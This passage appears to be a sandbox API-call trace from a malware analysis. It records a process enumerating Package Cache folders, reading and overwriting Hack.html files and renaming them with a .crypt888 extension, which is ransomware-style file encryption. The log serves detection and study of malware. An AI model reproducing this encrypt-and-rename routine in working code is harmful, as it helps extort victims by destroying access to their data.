lpOldMode=0x39ec20) returned 1 [0089.768] GetFileType (hFile=0x174) returned 0x1 [0089.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0089.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0089.769] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html.crypt888")) returned 1 [0089.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.769] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.770] FindClose (in: hFindFile=0x599fe8 | out: hFindFile=0x599fe8) returned 1 [0089.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.771] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.771] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.771] FindNextFileW (in: hFindFile=0x599fe8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.771] FindClose (in: hFindFile=0x599fe8 | out: hFindFile=0x599fe8) returned 1 [0089.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0089.771] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.771] GetFileType (hFile=0x174) returned 0x1 [0089.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0089.771] GetFileType (hFile=0x174) returned 0x1 [0089.771] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.771] ReadFile (in: hFile=0x174, lpBuffer=0x283596c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x283596c*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0089.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.785] GetFileType (hFile=0x174) returned 0x1 [0089.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0089.785] GetFileType (hFile=0x174) returned 0x1 [0089.785] WriteFile (in: hFile=0x174, lpBuffer=0x2883b68*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x2883b68*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0089.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0089.786] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html.crypt888")) returned 1 [0089.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0089.789] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.789] GetFileType (hFile=0x174) returned 0x1 [0089.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0089.790] GetFileType (hFile=0x174) returned 0x1 [0089.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0089.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.791] GetFileType (hFile=0x174) returned 0x1 [0089.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0089.791] GetFileType (hFile=0x174) returned 0x1 [0089.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.794] GetFileType (hFile=0x174) returned 0x1 [0089.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.794] GetFileType (hFile=0x174) returned 0x1 [0089.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.795] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.795] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.795] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.795] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.795] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.795] FindClose (in: hFindFile=0x59a5e8 | out: hFindFile=0x59a5e8) returned 1 [0089.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.796] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.796] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.796] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.796] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.796] FindNextFileW (in: hFindFile=0x59a5e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.796] FindClose (in: hFindFile=0x59a5e8 | out: hFindFile=0x59a5e8) returned 1 [0089.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.796] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.797] GetFileType (hFile=0x174) returned 0x1 [0089.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.797] GetFileType (hFile=0x174) returned 0x1 [0089.797] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.797] ReadFile (in: hFile=0x174, lpBuffer=0x288eee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x288eee4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0089.814] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.815] GetFileType (hFile=0x174) returned 0x1 [0089.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0089.815] GetFileType (hFile=0x174) returned 0x1 [0089.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0089.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0089.816] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html.crypt888")) returned 1 [0089.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.817] GetFileType (hFile=0x174) returned 0x1 [0089.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.817] GetFileType (hFile=0x174) returned 0x1 [0089.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.820] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.820] GetFileType (hFile=0x174) returned 0x1 [0089.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.820] GetFileType (hFile=0x174) returned 0x1 [0089.820] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.820] ReadFile (in: hFile=0x174, lpBuffer=0x26e3c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26e3c18*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.838] GetFileType (hFile=0x174) returned 0x1 [0089.838] GetFileType (hFile=0x174) returned 0x1 [0089.839] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html.crypt888")) returned 1 [0089.839] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.839] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.840] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.840] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.840] GetFileType (hFile=0x174) returned 0x1 [0089.840] GetFileType (hFile=0x174) returned 0x1 [0089.840] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.840] ReadFile (in: hFile=0x174, lpBuffer=0x2735a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2735a68*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.852] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.853] GetFileType (hFile=0x174) returned 0x1 [0089.853] GetFileType (hFile=0x174) returned 0x1 [0089.854] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html.crypt888")) returned 1 [0089.855] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.855] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.855] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.856] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.856] GetFileType (hFile=0x174) returned 0x1 [0089.856] GetFileType (hFile=0x174) returned 0x1 [0089.856] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.856] ReadFile (in: hFile=0x174, lpBuffer=0x27883e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27883e4*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.868] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.869] GetFileType (hFile=0x174) returned 0x1 [0089.870] GetFileType (hFile=0x174) returned 0x1 [0089.870] WriteFile (in: hFile=0x174, lpBuffer=0x27d65e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27d65e8*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.871] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html.crypt888")) returned 1 [0089.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.872] GetFileType (hFile=0x174) returned 0x1 [0089.872] GetFileType (hFile=0x174) returned 0x1 [0089.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.876] GetFileType (hFile=0x174) returned 0x1 [0089.876] GetFileType (hFile=0x174) returned 0x1 [0089.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.879] GetFileType (hFile=0x174) returned 0x1 [0089.879] GetFileType (hFile=0x174) returned 0x1 [0089.880] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.881] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.881] GetFileType (hFile=0x174) returned 0x1 [0089.881] GetFileType (hFile=0x174) returned 0x1 [0089.881] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: 